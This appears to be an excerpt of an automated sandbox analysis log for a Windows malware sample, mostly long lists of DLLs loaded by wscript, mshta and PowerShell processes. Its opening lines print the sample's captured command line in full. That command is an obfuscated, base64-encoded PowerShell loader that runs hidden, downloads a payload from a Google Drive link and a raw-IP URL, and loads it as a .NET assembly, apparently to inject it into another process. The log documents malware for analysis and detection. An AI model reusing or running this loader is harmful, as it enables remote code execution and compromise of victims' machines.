Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
